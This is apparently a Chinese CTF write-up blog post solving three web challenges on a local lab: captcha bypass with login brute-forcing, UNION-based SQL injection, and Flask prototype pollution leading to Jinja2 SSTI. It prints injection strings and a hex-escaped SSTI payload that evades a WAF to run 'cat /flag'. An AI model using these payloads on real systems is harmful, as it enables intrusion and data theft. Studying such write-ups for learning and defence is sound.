在这个中秋假的第二天,经历了两天的出门瞎逛后,kur0sia决定继续他的ctf题目,并用docker在本地靶场做了第一道web题。他尚且不知道自己能不能在国庆后的招新赛中进入天璇merak,也不知道自己使用agent的实际操作到底能不能通过之后的wp,就这样在宿舍里头看着我们的题目……总之,clo是决定要先看看去年题,来准备一下招新了!
T1-EZ_login
这题说实话可一点都不easy…综合程度比moe难了不少:
刚进入:
刚进入显示一个登陆系统,有用户名,密码,验证码三栏。用户名就是admin,密码未知,验证码……看着挺好的。我们没有入手点,先看源码吧:
1 | <body> |
注意到body是这么写的,但其中验证码非常神奇,是由对应的数字对应上具体图片形成“验证码”,我们可以直接使用正则表达式把每次的验证码抓出来,事实上是形同虚设了。
试验登录逻辑:
我们不知道密码,但是这么一个可怜的本地网站可以直接爆破干穿。这里我们先试验一下登录的逻辑:
- 在验证码正确但是密码错误的情况下,会返回账号或密码错误;
- 在验证码错误,密码不知道(废话,知道我一会还爆破个蛋)的情况下,会返回验证码错误。
- 试着抓一个包,然后发现,对于每次不同的验证码,在反复使用任意一次cookie的情况下,可以一直登录(后端没有机制杀掉老旧cookie)。感谢tsctf官方的wp(笑
这样一来我们就可以放心的写一个爆破的简单脚本了。
1 | import re, requests |
我们可以得到密码为simple,登录,发现:“你似乎不是本地管理员”。所以我们在请求里加入XFF即可,token里头就是一个没加密的flag。
P.S:一些dsh的补充:
验证码的安全价值不在"图片长得难不难认",而在于答案是否只为服务端所知、且只用一次。这道题的图片连干扰线都懒得加,答案还是服务端亲手写成文字递过来的——它看起来像一道门,实际是一张贴在门上的钥匙。
无状态 Cookie 在原理上无法表达"一次性"。Cookie 能携带数据,不能消费数据——没有"这个值已用过"的概念。要一次性就必须有服务端状态(Redis 存
sid→answer,校验后DEL+ 过期)。信息不只在页面里,也在响应头里。登录后页面"啥也没有",但
Set-Cookie里躺着 token。这是黑盒题的基本功:抓包看完整响应,不只盯渲染结果。
T2-ez_sql
–updated on 9-27
打开后发现是一个叫Vulnerability Database的玩意,反正根据题目来说就是一个sql注入。首先规规矩矩尝试1~8,发现是随便写了些web的具体漏洞。但是和flag没什么关系。但既然是sql,我们自然是先用原来那几步试试的好:
1' # 这个正常,说明可以带引号(事实上是下一个order by的时候,数字型没用
1' Order by 3 ; # 到4报错,说明就只有显示的那三行
-1' UNION SELECT 111,schema_name,database() from information_schema.schemata; #
-1' UNION SELECT 111,database(),table_name from information_schema.tables where table_schema = database(); #
-1' UNION SELECT 111,database(),column_name from information_schema.columns where table_schema = database() and table_name = "flag"; #
一直到这里都没什么问题,我们满怀期待地尝试-1' union select 111, 222, flag from flag; # 试图就此搞到flag。但是……
但是到这里,发现union突然被ban了,怎么你之前就不ban😡
1 | *No results found for ID: -1' union select 111, 222, flag from flag; #* |
询问ds网页版老师,发现:
你遇到的
Illegal mix of collations for operation 'UNION'错误,核心原因是SQL语句中参与UNION查询的各列,其字符集(Collation)不一致,MySQL 无法决定用哪一个规则来合并结果。🧐 为什么会报这个错?
在 SQL 注入中,你构造的
-1' union select 111, 222, flag from flag; #会和原查询合并。原查询的列(如first_name)有自己的字符集,而你注入的flag列或字符串常量111、222也可能有各自的字符集。当这些字符集不匹配时,UNION操作就无法进行,从而抛出此错误。这在 DVWA 等靶场中很常见,因为靶场数据库的
users表和information_schema等系统表的字符集可能不同(例如一个是utf8_general_ci,另一个是utf8_unicode_ci)
改成-1' union select 111, 222, CONVERT(flag using utf8) from flag; # convert一下编码即可。
T3-ez_py
–updated on 9-28
这题真的ez吗……好吧可能只是我太菜了。
打开题目仍然是一个登陆页面,我们先查看源码,发现一个去/source的提示,之后得到一堆源码:
1 | import random |
看上去非常长。我们来简要分析一下:
- 这段代码本质上仍然是一个flask应用,其中有位于app/config下的一个SECRET_KEY键值,看名字像是给JWT签名用的~~(问就是moe刚写过一个)~~
- 后面有一段waf,里头屏蔽了一大堆关键字,这里先按下不表。但有注意到后面有对于hello hacker的后门,可以用这个替代被ban掉的两个花括号。
- 注意到后面有一个令人开心的merge函数,虽然还不太能看懂它是怎么起作用的,但是根据网上的文章,这个函数的作用是进行一个递归合并,可以利用类似flask原型链污染的方法来污染下面的属性,是一个利用点。
- 继续往下,在token_required这个函数里头,会通过读Authorization这个属性来获取令牌(Bearer)。
- 而在访问/protected时,这时会调用token_required,然后比对里面的user和role,当role==admin时才会获得权限。但是这里直接使用了
{filtered_user}作为模板显示,可以考虑在这里构造最终的payload,利用SSTI在这里执行命令,打印出flag。
到这里,思路已经很明显了:为了利用这个SSTI获取flag,我们需要把这个token构造出来,那就需要获取签名 -> 找出SECRET_KEY -> 利用merge污染SECRET_KEY -> 设法绕过WAF从而用这个密钥给payload签名。
笔者在这里曾经尝试利用SSTI打出来config,从而暴露出SECRET_KEY。但是这是当时没理清楚思路的想法,结果看着看着发现要这么干就得先有token,属于一根筋两头堵的问题,思索良久后询问LLM才知道可以污染它…
我们先不管waf,构造如下payload:
1 | { |
我们会发现,这样可以成功修改密钥,从而签上名通过校验。但是在waf一步会被拦下来WAF blocked: Dangerous pattern detected(问为什么不试试env?当然是试过了发现啥也没有😭
这是我们求助万能的LLM老师:
正常 SSTI Payload 为什么会被拦?
正常读 flag 的 payload 是:
1 {{lipsum.__globals__['os'].popen('cat /flag').read()}}这里面包含了大量黑名单词:
globalsosread{{`、`}}所以直接被 WAF 拦截。
|attr+ 十六进制转义Jinja2 有一个过滤器
|attr,可以按属性名访问对象属性:
1 {{ lipsum|attr('__globals__') }}这等价于
lipsum.__globals__。但
__globals__本身在黑名单里(globals),所以不能明文写。
于是把属性名写成 十六进制转义字符串:
1 {{ lipsum|attr('\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f') }}
'\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f'在 Python/Jinja2 字符串解析后就是__globals__。
WAF 检查时看到的是一堆\x5f,里面没有globals这个连续子串,所以不触发黑名单。同理:
'\x6f\x73'→os'\x70\x6f\x70\x65\x6e'→popen'\x63\x61\x74\x20\x2f\x66\x6c\x61\x67'→cat /flag'\x72\x65\x61\x64'→read最终 payload 变成:
1 {{ lipsum|attr('\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f')|attr('\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f')('\x6f\x73')|attr('\x70\x6f\x70\x65\x6e')('\x63\x61\x74\x20\x2f\x66\x6c\x61\x67')|attr('\x72\x65\x61\x64')() }}
不过这LLM不知道怎么吧{{}}带上了,在他给的W2倒是有,非常怪异。这里我们直接把{{}}换成善良的hellohacker,然后再次注入即可拿到flag。
评论